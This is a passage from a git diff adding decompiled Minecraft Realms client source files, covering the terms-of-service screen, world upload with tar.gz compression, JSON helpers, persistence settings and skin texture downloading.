com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.RealmsMainScreen; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.exception.RealmsServiceException; +import java.util.concurrent.locks.ReentrantLock; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.realms.action.ConnectingToRealmsAction; +import net.minecraft.util.Util; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.Style; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsTermsScreen extends RealmsScreen +{ + private static final Logger field_224722_a = LogManager.getLogger(); + private static final ITextComponent field_243184_b = new TranslationTextComponent("mco.terms.title"); + private static final ITextComponent field_243185_c = new TranslationTextComponent("mco.terms.sentence.1"); + private static final ITextComponent field_243186_p = (new StringTextComponent(" ")).append((new TranslationTextComponent("mco.terms.sentence.2")).mergeStyle(Style.EMPTY.func_244282_c(true))); + private final Screen field_224723_b; + private final RealmsMainScreen field_224724_c; + + /** + * The screen to display when OK is clicked on the disconnect screen. + * + * Seems to be either null (integrated server) or an instance of either {@link MultiplayerScreen} (when connecting + * to a server) or {@link com.mojang.realmsclient.gui.screens.RealmsTermsScreen} (when connecting to MCO server) + */ + private final RealmsServer guiScreenServer; + private boolean field_224727_f; + private final String field_224728_g = "https://aka.ms/MinecraftRealmsTerms"; + + public RealmsTermsScreen(Screen p_i232225_1_, RealmsMainScreen p_i232225_2_, RealmsServer p_i232225_3_) + { + this.field_224723_b = p_i232225_1_; + this.field_224724_c = p_i232225_2_; + this.guiScreenServer = p_i232225_3_; + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + int i = this.width / 4 - 2; + this.addButton(new Button(this.width / 4, func_239562_k_(12), i, 20, new TranslationTextComponent("mco.terms.buttons.agree"), (p_238078_1_) -> + { + this.func_224721_a(); + })); + this.addButton(new Button(this.width / 2 + 4, func_239562_k_(12), i, 20, new TranslationTextComponent("mco.terms.buttons.disagree"), (p_238077_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224723_b); + })); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224723_b); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + private void func_224721_a() + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + realmsclient.func_224937_l(); + this.minecraft.displayGuiScreen(new RealmsLongRunningMcoTaskScreen(this.field_224723_b, new ConnectingToRealmsAction(this.field_224724_c, this.field_224723_b, this.guiScreenServer, new ReentrantLock()))); + } + catch (RealmsServiceException realmsserviceexception) + { + field_224722_a.error("Couldn't agree to TOS"); + } + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (this.field_224727_f) + { + this.minecraft.keyboardListener.setClipboardString("https://aka.ms/MinecraftRealmsTerms"); + Util.getOSType().openURI("https://aka.ms/MinecraftRealmsTerms"); + return true; + } + else + { + return super.mouseClicked(mouseX, mouseY, button); + } + } + + public String getNarrationMessage() + { + return super.getNarrationMessage() + ". " + field_243185_c.getString() + " " + field_243186_p.getString(); + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + drawCenteredString(matrixStack, this.font, field_243184_b, this.width / 2, 17, 16777215); + this.font.func_243248_b(matrixStack, field_243185_c, (float)(this.width / 2 - 120), (float)func_239562_k_(5), 16777215); + int i = this.font.getStringPropertyWidth(field_243185_c); + int j = this.width / 2 - 121 + i; + int k = func_239562_k_(5); + int l = j + this.font.getStringPropertyWidth(field_243186_p) + 1; + int i1 = k + 1 + 9; + this.field_224727_f = j <= mouseX && mouseX <= l && k <= mouseY && mouseY <= i1; + this.font.func_243248_b(matrixStack, field_243186_p, (float)(this.width / 2 - 120 + i), (float)func_239562_k_(5), this.field_224727_f ? 7107012 : 3368635); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java new file mode 100644 index 00000000..1e870327 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsUploadScreen.java @@ -0,0 +1,510 @@ +package com.mojang.realmsclient.gui.screens; + +import com.google.common.collect.Lists; +import com.google.common.util.concurrent.RateLimiter; +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.realmsclient.client.FileUpload; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.client.UploadStatus; +import com.mojang.realmsclient.dto.UploadInfo; +import com.mojang.realmsclient.exception.RealmsServiceException; +import com.mojang.realmsclient.exception.RetryCallException; +import com.mojang.realmsclient.util.UploadTokenCache; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.util.List; +import java.util.Locale; +import java.util.concurrent.TimeUnit; +import java.util.concurrent.locks.ReentrantLock; +import java.util.stream.Stream; +import java.util.zip.GZIPOutputStream; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.client.renderer.BufferBuilder; +import net.minecraft.client.renderer.Tessellator; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import net.minecraft.client.util.UploadSpeed; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.SharedConstants; +import net.minecraft.util.Util; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import net.minecraft.world.storage.WorldSummary; +import org.apache.commons.compress.archivers.tar.TarArchiveEntry; +import org.apache.commons.compress.archivers.tar.TarArchiveOutputStream; +import org.apache.commons.compress.utils.IOUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsUploadScreen extends RealmsScreen +{ + private static final Logger field_224696_a = LogManager.getLogger(); + private static final ReentrantLock field_238081_b_ = new ReentrantLock(); + private static final String[] field_224713_r = new String[] {"", ".", ". .", ". . ."}; + private static final ITextComponent field_243187_p = new TranslationTextComponent("mco.upload.verifying"); + private final RealmsResetWorldScreen field_224697_b; + private final WorldSummary field_224698_c; + private final long field_224699_d; + private final int field_224700_e; + private final UploadStatus field_224701_f; + private final RateLimiter field_224702_g; + private volatile ITextComponent[] field_224703_h; + private volatile ITextComponent field_224704_i = new TranslationTextComponent("mco.upload.preparing"); + private volatile String field_224705_j; + private volatile boolean field_224706_k; + private volatile boolean field_224707_l; + private volatile boolean field_224708_m = true; + private volatile boolean field_224709_n; + private Button field_224710_o; + private Button field_224711_p; + private int field_238079_E_; + private Long field_224715_t; + private Long field_224716_u; + private long field_224717_v; + private final Runnable field_238080_I_; + + public RealmsUploadScreen(long p_i232226_1_, int p_i232226_3_, RealmsResetWorldScreen p_i232226_4_, WorldSummary p_i232226_5_, Runnable p_i232226_6_) + { + this.field_224699_d = p_i232226_1_; + this.field_224700_e = p_i232226_3_; + this.field_224697_b = p_i232226_4_; + this.field_224698_c = p_i232226_5_; + this.field_224701_f = new UploadStatus(); + this.field_224702_g = RateLimiter.create((double)0.1F); + this.field_238080_I_ = p_i232226_6_; + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.field_224710_o = this.addButton(new Button(this.width / 2 - 100, this.height - 42, 200, 20, DialogTexts.GUI_BACK, (p_238087_1_) -> + { + this.func_224679_c(); + })); + this.field_224710_o.visible = false; + this.field_224711_p = this.addButton(new Button(this.width / 2 - 100, this.height - 42, 200, 20, DialogTexts.GUI_CANCEL, (p_238084_1_) -> + { + this.func_224695_d(); + })); + + if (!this.field_224709_n) + { + if (this.field_224697_b.field_224455_a == -1) + { + this.func_224682_h(); + } + else + { + this.field_224697_b.func_237952_a_(() -> + { + if (!this.field_224709_n) + { + this.field_224709_n = true; + this.minecraft.displayGuiScreen(this); + this.func_224682_h(); + } + }); + } + } + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + private void func_224679_c() + { + this.field_238080_I_.run(); + } + + private void func_224695_d() + { + this.field_224706_k = true; + this.minecraft.displayGuiScreen(this.field_224697_b); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + if (this.field_224708_m) + { + this.func_224695_d(); + } + else + { + this.func_224679_c(); + } + + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + + if (!this.field_224707_l && this.field_224701_f.field_224978_a != 0L && this.field_224701_f.field_224978_a == this.field_224701_f.field_224979_b) + { + this.field_224704_i = field_243187_p; + this.field_224711_p.active = false; + } + + drawCenteredString(matrixStack, this.font, this.field_224704_i, this.width / 2, 50, 16777215); + + if (this.field_224708_m) + { + this.func_238086_b_(matrixStack); + } + + if (this.field_224701_f.field_224978_a != 0L && !this.field_224706_k) + { + this.func_238088_c_(matrixStack); + this.func_238089_d_(matrixStack); + } + + if (this.field_224703_h != null) + { + for (int i = 0; i < this.field_224703_h.length; ++i) + { + drawCenteredString(matrixStack, this.font, this.field_224703_h[i], this.width / 2, 110 + 12 * i, 16711680); + } + } + + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private void func_238086_b_(MatrixStack p_238086_1_) + { + int i = this.font.getStringPropertyWidth(this.field_224704_i); + this.font.drawString(p_238086_1_, field_224713_r[this.field_238079_E_ / 10 % field_224713_r.length], (float)(this.width / 2 + i / 2 + 5), 50.0F, 16777215); + } + + private void func_238088_c_(MatrixStack p_238088_1_) + { + double d0 = Math.min((double)this.field_224701_f.field_224978_a / (double)this.field_224701_f.field_224979_b, 1.0D); + this.field_224705_j = String.format(Locale.ROOT, "%.1f", d0 * 100.0D); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.disableTexture(); + double d1 = (double)(this.width / 2 - 100); + double d2 = 0.5D; + Tessellator tessellator = Tessellator.getInstance(); + BufferBuilder bufferbuilder = tessellator.getBuffer(); + bufferbuilder.begin(7, DefaultVertexFormats.POSITION_COLOR); + bufferbuilder.pos(d1 - 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0 + 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0 + 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1 - 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex(); + bufferbuilder.pos(d1, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1 + 200.0D * d0, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + bufferbuilder.pos(d1, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex(); + tessellator.draw(); + RenderSystem.enableTexture(); + drawCenteredString(p_238088_1_, this.font, this.field_224705_j + " %", this.width / 2, 84, 16777215); + } + + private void func_238089_d_(MatrixStack p_238089_1_) + { + if (this.field_238079_E_ % 20 == 0) + { + if (this.field_224715_t != null) + { + long i = Util.milliTime() - this.field_224716_u; + + if (i == 0L) + { + i = 1L; + } + + this.field_224717_v = 1000L * (this.field_224701_f.field_224978_a - this.field_224715_t) / i; + this.func_238083_a_(p_238089_1_, this.field_224717_v); + } + + this.field_224715_t = this.field_224701_f.field_224978_a; + this.field_224716_u = Util.milliTime(); + } + else + { + this.func_238083_a_(p_238089_1_, this.field_224717_v); + } + } + + private void func_238083_a_(MatrixStack p_238083_1_, long p_238083_2_) + { + if (p_238083_2_ > 0L) + { + int i = this.font.getStringWidth(this.field_224705_j); + String s = "(" + UploadSpeed.func_237684_b_(p_238083_2_) + "/s)"; + this.font.drawString(p_238083_1_, s, (float)(this.width / 2 + i / 2 + 15), 84.0F, 16777215); + } + } + + public void tick() + { + super.tick(); + ++this.field_238079_E_; + + if (this.field_224704_i != null && this.field_224702_g.tryAcquire(1)) + { + List list = Lists.newArrayList(); + list.add(this.field_224704_i.getString()); + + if (this.field_224705_j != null) + { + list.add(this.field_224705_j + "%"); + } + + if (this.field_224703_h != null) + { + Stream.of(this.field_224703_h).map(ITextComponent::getString).forEach(list::add); + } + + RealmsNarratorHelper.func_239550_a_(String.join(System.lineSeparator(), list)); + } + } + + private void func_224682_h() + { + this.field_224709_n = true; + (new Thread(() -> + { + File file1 = null; + RealmsClient realmsclient = RealmsClient.func_224911_a(); + long i = this.field_224699_d; + + try { + if (field_238081_b_.tryLock(1L, TimeUnit.SECONDS)) + { + UploadInfo uploadinfo = null; + + for (int j = 0; j < 20; ++j) + { + try + { + if (this.field_224706_k) + { + this.func_224676_i(); + return; + } + + uploadinfo = realmsclient.func_224934_h(i, UploadTokenCache.func_225235_a(i)); + + if (uploadinfo != null) + { + break; + } + } + catch (RetryCallException retrycallexception) + { + Thread.sleep((long)(retrycallexception.field_224985_e * 1000)); + } + } + + if (uploadinfo == null) + { + this.field_224704_i = new TranslationTextComponent("mco.upload.close.failure"); + return; + } + + UploadTokenCache.func_225234_a(i, uploadinfo.func_230795_a_()); + + if (!uploadinfo.func_230799_c_()) + { + this.field_224704_i = new TranslationTextComponent("mco.upload.close.failure"); + return; + } + + if (this.field_224706_k) + { + this.func_224676_i(); + return; + } + + File file2 = new File(this.minecraft.gameDir.getAbsolutePath(), "saves"); + file1 = this.func_224675_b(new File(file2, this.field_224698_c.getFileName())); + + if (this.field_224706_k) + { + this.func_224676_i(); + return; + } + + if (this.func_224692_a(file1)) + { + this.field_224704_i = new TranslationTextComponent("mco.upload.uploading", this.field_224698_c.getDisplayName()); + FileUpload fileupload = new FileUpload(file1, this.field_224699_d, this.field_224700_e, uploadinfo, this.minecraft.getSession(), SharedConstants.getVersion().getName(), this.field_224701_f); + fileupload.func_224874_a((p_238082_3_) -> + { + if (p_238082_3_.field_225179_a >= 200 && p_238082_3_.field_225179_a < 300) + { + this.field_224707_l = true; + this.field_224704_i = new TranslationTextComponent("mco.upload.done"); + this.field_224710_o.setMessage(DialogTexts.GUI_DONE); + UploadTokenCache.func_225233_b(i); + } + else if (p_238082_3_.field_225179_a == 400 && p_238082_3_.field_225180_b != null) + { + this.func_238085_a_(new TranslationTextComponent("mco.upload.failed", p_238082_3_.field_225180_b)); + } + else { + this.func_238085_a_(new TranslationTextComponent("mco.upload.failed", p_238082_3_.field_225179_a)); + } + }); + + while (!fileupload.func_224881_b()) + { + if (this.field_224706_k) + { + fileupload.func_224878_a(); + this.func_224676_i(); + return; + } + + try + { + Thread.sleep(500L); + } + catch (InterruptedException interruptedexception) + { + field_224696_a.error("Failed to check Realms file upload status"); + } + } + + return; + } + + long k = file1.length(); + UploadSpeed uploadspeed = UploadSpeed.func_237682_a_(k); + UploadSpeed uploadspeed1 = UploadSpeed.func_237682_a_(5368709120L); + + if (UploadSpeed.func_237685_b_(k, uploadspeed).equals(UploadSpeed.func_237685_b_(5368709120L, uploadspeed1)) && uploadspeed != UploadSpeed.B) + { + UploadSpeed uploadspeed2 = UploadSpeed.values()[uploadspeed.ordinal() - 1]; + this.func_238085_a_(new TranslationTextComponent("mco.upload.size.failure.line1", this.field_224698_c.getDisplayName()), new TranslationTextComponent("mco.upload.size.failure.line2", UploadSpeed.func_237685_b_(k, uploadspeed2), UploadSpeed.func_237685_b_(5368709120L, uploadspeed2))); + return; + } + + this.func_238085_a_(new TranslationTextComponent("mco.upload.size.failure.line1", this.field_224698_c.getDisplayName()), new TranslationTextComponent("mco.upload.size.failure.line2", UploadSpeed.func_237685_b_(k, uploadspeed), UploadSpeed.func_237685_b_(5368709120L, uploadspeed1))); + return; + } + + this.field_224704_i = new TranslationTextComponent("mco.upload.close.failure"); + } + catch (IOException ioexception) + { + this.func_238085_a_(new TranslationTextComponent("mco.upload.failed", ioexception.getMessage())); + return; + } + catch (RealmsServiceException realmsserviceexception) + { + this.func_238085_a_(new TranslationTextComponent("mco.upload.failed", realmsserviceexception.toString())); + return; + } + catch (InterruptedException interruptedexception1) + { + field_224696_a.error("Could not acquire upload lock"); + return; + } + finally { + this.field_224707_l = true; + + if (field_238081_b_.isHeldByCurrentThread()) + { + field_238081_b_.unlock(); + this.field_224708_m = false; + this.field_224710_o.visible = true; + this.field_224711_p.visible = false; + + if (file1 != null) + { + field_224696_a.debug("Deleting file " + file1.getAbsolutePath()); + file1.delete(); + } + } + + return; + } + })).start(); + } + + private void func_238085_a_(ITextComponent... p_238085_1_) + { + this.field_224703_h = p_238085_1_; + } + + private void func_224676_i() + { + this.field_224704_i = new TranslationTextComponent("mco.upload.cancelled"); + field_224696_a.debug("Upload was cancelled"); + } + + private boolean func_224692_a(File p_224692_1_) + { + return p_224692_1_.length() < 5368709120L; + } + + private File func_224675_b(File p_224675_1_) throws IOException + { + TarArchiveOutputStream tararchiveoutputstream = null; + File file2; + + try + { + File file1 = File.createTempFile("realms-upload-file", ".tar.gz"); + tararchiveoutputstream = new TarArchiveOutputStream(new GZIPOutputStream(new FileOutputStream(file1))); + tararchiveoutputstream.setLongFileMode(3); + this.func_224669_a(tararchiveoutputstream, p_224675_1_.getAbsolutePath(), "world", true); + tararchiveoutputstream.finish(); + file2 = file1; + } + finally + { + if (tararchiveoutputstream != null) + { + tararchiveoutputstream.close(); + } + } + + return file2; + } + + private void func_224669_a(TarArchiveOutputStream p_224669_1_, String p_224669_2_, String p_224669_3_, boolean p_224669_4_) throws IOException + { + if (!this.field_224706_k) + { + File file1 = new File(p_224669_2_); + String s = p_224669_4_ ? p_224669_3_ : p_224669_3_ + file1.getName(); + TarArchiveEntry tararchiveentry = new TarArchiveEntry(file1, s); + p_224669_1_.putArchiveEntry(tararchiveentry); + + if (file1.isFile()) + { + IOUtils.copy(new FileInputStream(file1), p_224669_1_); + p_224669_1_.closeArchiveEntry(); + } + else + { + p_224669_1_.closeArchiveEntry(); + File[] afile = file1.listFiles(); + + if (afile != null) + { + for (File file2 : afile) + { + this.func_224669_a(p_224669_1_, file2.getAbsolutePath(), s + "/", false); + } + } + } + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/UploadResult.java b/src/com/mojang/realmsclient/gui/screens/UploadResult.java new file mode 100644 index 00000000..c9e75e96 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/UploadResult.java @@ -0,0 +1,36 @@ +package com.mojang.realmsclient.gui.screens; + +public class UploadResult +{ + public final int field_225179_a; + public final String field_225180_b; + + private UploadResult(int p_i51746_1_, String p_i51746_2_) + { + this.field_225179_a = p_i51746_1_; + this.field_225180_b = p_i51746_2_; + } + + public static class Builder + { + private int field_225177_a = -1; + private String field_225178_b; + + public UploadResult.Builder func_225175_a(int p_225175_1_) + { + this.field_225177_a = p_225175_1_; + return this; + } + + public UploadResult.Builder func_225176_a(String p_225176_1_) + { + this.field_225178_b = p_225176_1_; + return this; + } + + public UploadResult func_225174_a() + { + return new UploadResult(this.field_225177_a, this.field_225178_b); + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/package-info.java b/src/com/mojang/realmsclient/gui/screens/package-info.java new file mode 100644 index 00000000..94b7c58a --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient.gui.screens; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/package-info.java b/src/com/mojang/realmsclient/package-info.java new file mode 100644 index 00000000..7118593c --- /dev/null +++ b/src/com/mojang/realmsclient/package-info.java @@ -0,0 +1,6 @@ +@ParametersAreNonnullByDefault +@MethodsReturnNonnullByDefault +package com.mojang.realmsclient; + +import mcp.MethodsReturnNonnullByDefault; +import javax.annotation.ParametersAreNonnullByDefault; \ No newline at end of file diff --git a/src/com/mojang/realmsclient/util/JsonUtils.java b/src/com/mojang/realmsclient/util/JsonUtils.java new file mode 100644 index 00000000..b5d62b6d --- /dev/null +++ b/src/com/mojang/realmsclient/util/JsonUtils.java @@ -0,0 +1,70 @@ +package com.mojang.realmsclient.util; + +import com.google.gson.JsonElement; +import com.google.gson.JsonObject; +import java.util.Date; + +public class JsonUtils +{ + public static String func_225171_a(String p_225171_0_, JsonObject p_225171_1_, String p_225171_2_) + { + JsonElement jsonelement = p_225171_1_.get(p_225171_0_); + + if (jsonelement != null) + { + return jsonelement.isJsonNull() ? p_225171_2_ : jsonelement.getAsString(); + } + else + { + return p_225171_2_; + } + } + + public static int func_225172_a(String p_225172_0_, JsonObject p_225172_1_, int p_225172_2_) + { + JsonElement jsonelement = p_225172_1_.get(p_225172_0_); + + if (jsonelement != null) + { + return jsonelement.isJsonNull() ? p_225172_2_ : jsonelement.getAsInt(); + } + else + { + return p_225172_2_; + } + } + + public static long func_225169_a(String p_225169_0_, JsonObject p_225169_1_, long p_225169_2_) + { + JsonElement jsonelement = p_225169_1_.get(p_225169_0_); + + if (jsonelement != null) + { + return jsonelement.isJsonNull() ? p_225169_2_ : jsonelement.getAsLong(); + } + else + { + return p_225169_2_; + } + } + + public static boolean func_225170_a(String p_225170_0_, JsonObject p_225170_1_, boolean p_225170_2_) + { + JsonElement jsonelement = p_225170_1_.get(p_225170_0_); + + if (jsonelement != null) + { + return jsonelement.isJsonNull() ? p_225170_2_ : jsonelement.getAsBoolean(); + } + else + { + return p_225170_2_; + } + } + + public static Date func_225173_a(String p_225173_0_, JsonObject p_225173_1_) + { + JsonElement jsonelement = p_225173_1_.get(p_225173_0_); + return jsonelement != null ? new Date(Long.parseLong(jsonelement.getAsString())) : new Date(); + } +} diff --git a/src/com/mojang/realmsclient/util/RealmsPersistence.java b/src/com/mojang/realmsclient/util/RealmsPersistence.java new file mode 100644 index 00000000..801a20cc --- /dev/null +++ b/src/com/mojang/realmsclient/util/RealmsPersistence.java @@ -0,0 +1,55 @@ +package com.mojang.realmsclient.util; + +import com.google.gson.annotations.SerializedName; +import java.io.File; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import net.minecraft.client.Minecraft; +import net.minecraft.realms.IPersistentSerializable; +import net.minecraft.realms.PersistenceSerializer; +import org.apache.commons.io.FileUtils; + +public class RealmsPersistence +{ + private static final PersistenceSerializer field_238092_a_ = new PersistenceSerializer(); + + public static RealmsPersistence.RealmsPersistenceData func_225188_a() + { + File file1 = func_238093_b_(); + + try + { + return field_238092_a_.func_237695_a_(FileUtils.readFileToString(file1, StandardCharsets.UTF_8), RealmsPersistence.RealmsPersistenceData.class); + } + catch (IOException ioexception) + { + return new RealmsPersistence.RealmsPersistenceData(); + } + } + + public static void func_225187_a(RealmsPersistence.RealmsPersistenceData p_225187_0_) + { + File file1 = func_238093_b_(); + + try + { + FileUtils.writeStringToFile(file1, field_238092_a_.func_237694_a_(p_225187_0_), StandardCharsets.UTF_8); + } + catch (IOException ioexception) + { + } + } + + private static File func_238093_b_() + { + return new File(Minecraft.getInstance().gameDir, "realms_persistence.json"); + } + + public static class RealmsPersistenceData implements IPersistentSerializable + { + @SerializedName("newsLink") + public String field_225185_a; + @SerializedName("hasUnreadNews") + public boolean field_225186_b; + } +} diff --git a/src/com/mojang/realmsclient/util/RealmsTextureManager.java b/src/com/mojang/realmsclient/util/RealmsTextureManager.java new file mode 100644 index 00000000..ff1b4649 --- /dev/null +++ b/src/com/mojang/realmsclient/util/RealmsTextureManager.java @@ -0,0 +1,245 @@ +package com.mojang.realmsclient.util; + +import com.google.common.collect.Maps; +import com.mojang.authlib.minecraft.MinecraftProfileTexture; +import com.mojang.authlib.minecraft.MinecraftProfileTexture.Type; +import com.mojang.blaze3d.platform.GlStateManager; +import com.mojang.blaze3d.systems.RenderSystem; +import com.mojang.util.UUIDTypeAdapter; +import java.awt.image.BufferedImage; +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.nio.Buffer; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; +import java.nio.IntBuffer; +import java.util.Map; +import java.util.UUID; +import javax.annotation.Nullable; +import javax.imageio.ImageIO; +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.texture.TextureUtil; +import net.minecraft.client.resources.DefaultPlayerSkin; +import net.minecraft.util.ResourceLocation; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.io.IOUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsTextureManager +{ + private static final Map field_225209_a = Maps.newHashMap(); + private static final Map field_225210_b = Maps.newHashMap(); + private static final Map field_225211_c = Maps.newHashMap(); + private static final Logger field_225212_d = LogManager.getLogger(); + private static final ResourceLocation field_238097_e_ = new ResourceLocation("textures/gui/presets/isles.png"); + + public static void func_225202_a(String p_225202_0_, @Nullable String p_225202_1_) + { + if (p_225202_1_ == null) + { + Minecraft.getInstance().getTextureManager().bindTexture(field_238097_e_); + } + else + { + int i = func_225203_b(p_225202_0_, p_225202_1_); + RenderSystem.bindTexture(i); + } + } + + public static void func_225205_a(String p_225205_0_, Runnable p_225205_1_) + { + RenderSystem.pushTextureAttributes(); + + try + { + func_225200_a(p_225205_0_); + p_225205_1_.run(); + } + finally + { + RenderSystem.popAttributes(); + } + } + + private static void func_225204_a(UUID p_225204_0_) + { + Minecraft.getInstance().getTextureManager().bindTexture(DefaultPlayerSkin.getDefaultSkin(p_225204_0_)); + } + + private static void func_225200_a(final String p_225200_0_) + { + UUID uuid = UUIDTypeAdapter.fromString(p_225200_0_); + + if (field_225209_a.containsKey(p_225200_0_)) + { + RenderSystem.bindTexture((field_225209_a.get(p_225200_0_)).field_225198_b); + } + else if (field_225210_b.containsKey(p_225200_0_)) + { + if (!field_225210_b.get(p_225200_0_)) + { + func_225204_a(uuid); + } + else if (field_225211_c.containsKey(p_225200_0_)) + { + int i = func_225203_b(p_225200_0_, field_225211_c.get(p_225200_0_)); + RenderSystem.bindTexture(i); + } + else + { + func_225204_a(uuid); + } + } + else + { + field_225210_b.put(p_225200_0_, false); + func_225204_a(uuid); + Thread thread = new Thread("Realms Texture Downloader") + { + public void run() + { + Map map = RealmsUtil.func_225191_b(p_225200_0_); + + if (map.containsKey(Type.SKIN)) + { + MinecraftProfileTexture minecraftprofiletexture = map.get(Type.SKIN); + String s = minecraftprofiletexture.getUrl(); + HttpURLConnection httpurlconnection = null; + RealmsTextureManager.field_225212_d.debug("Downloading http texture from {}", (Object)s); + + try + { + httpurlconnection = (HttpURLConnection)(new URL(s)).openConnection(Minecraft.getInstance().getProxy()); + httpurlconnection.setDoInput(true); + httpurlconnection.setDoOutput(false); + httpurlconnection.connect(); + + if (httpurlconnection.getResponseCode() / 100 == 2) + { + BufferedImage bufferedimage; + + try + { + bufferedimage = ImageIO.read(httpurlconnection.getInputStream()); + } + catch (Exception exception) + { + RealmsTextureManager.field_225210_b.remove(p_225200_0_); + return; + } + finally + { + IOUtils.closeQuietly(httpurlconnection.getInputStream()); + } + + bufferedimage = (new SkinProcessor()).func_225228_a(bufferedimage); + ByteArrayOutputStream bytearrayoutputstream = new ByteArrayOutputStream(); + ImageIO.write(bufferedimage, "png", bytearrayoutputstream); + RealmsTextureManager.field_225211_c.put(p_225200_0_, (new Base64()).encodeToString(bytearrayoutputstream.toByteArray())); + RealmsTextureManager.field_225210_b.put(p_225200_0_, true); + return; + } + + RealmsTextureManager.field_225210_b.remove(p_225200_0_); + } + catch (Exception exception1) + { + RealmsTextureManager.field_225212_d.error("Couldn't download http texture", (Throwable)exception1); + RealmsTextureManager.field_225210_b.remove(p_225200_0_); + return; + } + finally + { + if (httpurlconnection != null) + { + httpurlconnection.disconnect(); + } + } + } + else + { + RealmsTextureManager.field_225210_b.put(p_225200_0_, true); + } + } + }; + thread.setDaemon(true); + thread.start(); + } + } + + private static int func_225203_b(String p_225203_0_, String p_225203_1_) + { + int i; + + if (field_225209_a.containsKey(p_225203_0_)) + { + RealmsTextureManager.RealmsTexture realmstexturemanager$realmstexture = field_225209_a.get(p_225203_0_); + + if (realmstexturemanager$realmstexture.field_225197_a.equals(p_225203_1_)) + { + return realmstexturemanager$realmstexture.field_225198_b; + } + + RenderSystem.deleteTexture(realmstexturemanager$realmstexture.field_225198_b); + i = realmstexturemanager$realmstexture.field_225198_b; + } + else + { + i = GlStateManager.genTexture(); + } + + IntBuffer intbuffer = null; + int j = 0; + int k = 0; + + try + { + InputStream inputstream = new ByteArrayInputStream((new Base64()).decode(p_225203_1_)); + BufferedImage bufferedimage; + + try + { + bufferedimage = ImageIO.read(inputstream); + } + finally + { + IOUtils.closeQuietly(inputstream); + } + + j = bufferedimage.getWidth(); + k = bufferedimage.getHeight(); + int[] lvt_8_1_ = new int[j * k]; + bufferedimage.getRGB(0, 0, j, k, lvt_8_1_, 0, j); + intbuffer = ByteBuffer.allocateDirect(4 * j * k).order(ByteOrder.nativeOrder()).asIntBuffer(); + intbuffer.put(lvt_8_1_); + ((Buffer)intbuffer).flip(); + } + catch (IOException ioexception) + { + ioexception.printStackTrace(); + } + + RenderSystem.activeTexture(33984); + RenderSystem.bindTexture(i); + TextureUtil.initTexture(intbuffer, j, k); 